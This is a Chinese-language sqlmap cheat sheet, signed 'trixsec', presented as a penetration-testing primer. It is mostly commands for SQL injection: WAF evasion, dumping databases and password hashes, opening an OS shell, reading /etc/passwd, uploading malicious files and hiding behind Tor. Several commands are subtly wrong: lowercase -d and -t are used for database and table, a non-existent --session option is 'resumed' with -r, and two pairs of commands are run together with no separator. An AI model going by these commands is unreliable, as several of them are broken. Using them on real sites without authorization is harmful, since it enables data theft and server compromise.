SQLMap 备忘单:自动 SQL 注入快速指南
作者:特里克斯·赛勒斯
什么是 sqlmap?
sqlmap是一个开源渗透测试工具,用于检测和利用web应用程序中的sql注入漏洞。它支持各种数据库系统,如 mysql、postgresql、oracle、microsoft sql server 等。
基本用法
要开始使用 sqlmap,您可以通过提供目标 url 以最简单的形式运行它:
sqlmap -u "http://example.com/index.php?id=1"
此命令扫描目标 url 是否存在 sql 注入漏洞。
1。检测漏洞
使用以下选项执行基本的漏洞扫描并自动检测 sql 注入点:
sqlmap -u "http://example.com/index.php?id=1" --dbs
--dbs:如果发现漏洞,列出目标服务器上所有可用的数据库。
2。指定 post 请求
对于需要 post 请求的目标(通常在登录表单中),您可以指定如下数据:
sqlmap -u "http://example.com/login.php" --data="username=admin&password=1234"
3。绕过 waf 和过滤器
为了逃避 web 应用程序防火墙 (waf),sqlmap 包含有效负载混淆技术:
sqlmap -u "http://example.com/index.php?id=1" --tamper=space2comment
--tamper:使用篡改脚本来逃避过滤器。示例:space2comment、charencode。
4。提取数据库、表和列
要获取目标系统上的数据库列表:
sqlmap -u "http://example.com/index.php?id=1" --dbs
识别数据库后,提取其表:
sqlmap -u "http://example.com/index.php?id=1" -d database_name --tables
要从特定表中获取列:
sqlmap -u "http://example.com/index.php?id=1" -d database_name -t table_name --columns
5。转储数据
转储表的内容是 sqlmap 最有用的功能之一。例如,转储特定表中的所有数据:
sqlmap -u "http://example.com/index.php?id=1" -d database_name -t table_name --dump
6。枚举数据库用户和密码
sqlmap 还可以用于枚举数据库用户,甚至破解哈希密码:
sqlmap -u "http://example.com/index.php?id=1" --userssqlmap -u "http://example.com/index.php?id=1" --passwords
7。访问操作系统
在某些情况下,sqlmap可以用来在操作系统上执行命令,特别是当数据库用户具有高级权限时:
sqlmap -u "http://example.com/index.php?id=1" --os-shell
这将提供一个交互式 shell,您可以在其中在目标系统上执行命令。
8。文件上传与读取
您还可以从目标系统读取文件或上传恶意文件(如果允许):
sqlmap -u "http://example.com/index.php?id=1" --file-read="/etc/passwd"sqlmap -u "http://example.com/index.php?id=1" --file-write="/path/to/file" --file-dest="/destination/path"
9。使用 tor 进行匿名
要隐藏您的身份,您可以通过 tor 网络运行 sqlmap:
sqlmap -u "http://example.com/index.php?id=1" --tor --tor-type=socks5 --check-tor
--tor:启用 tor。
--check-tor:验证是否通过 tor 建立连接。
10。保存和恢复会话
sqlmap 允许您使用 --session 选项保存和恢复进度:
sqlmap -u "http://example.com/index.php?id=1" --session=your_session_name
稍后,您可以通过以下方式恢复同一会话:
sqlmap -r your_session_name
11。详细模式
要查看有关 sqlmap 正在执行的操作的详细信息:
sqlmap -u "http://example.com/index.php?id=1" -v 3
-v 选项控制详细程度(级别从 0 到 6,其中 6 显示所有详细信息)。
- 自动扫描多个目标
sqlmap 支持扫描存储在文件中的多个 url:
sqlmap -m urls.txt --batch
--batch:使用默认选项自动回答所有提示,对于自动扫描很有用。
还可以使用 --risk=3 和 --level=5 来提前扫描
您可以使用此备忘单向读者介绍 sqlmap 的基本命令,并帮助他们开始 sql 注入测试。
~trixsec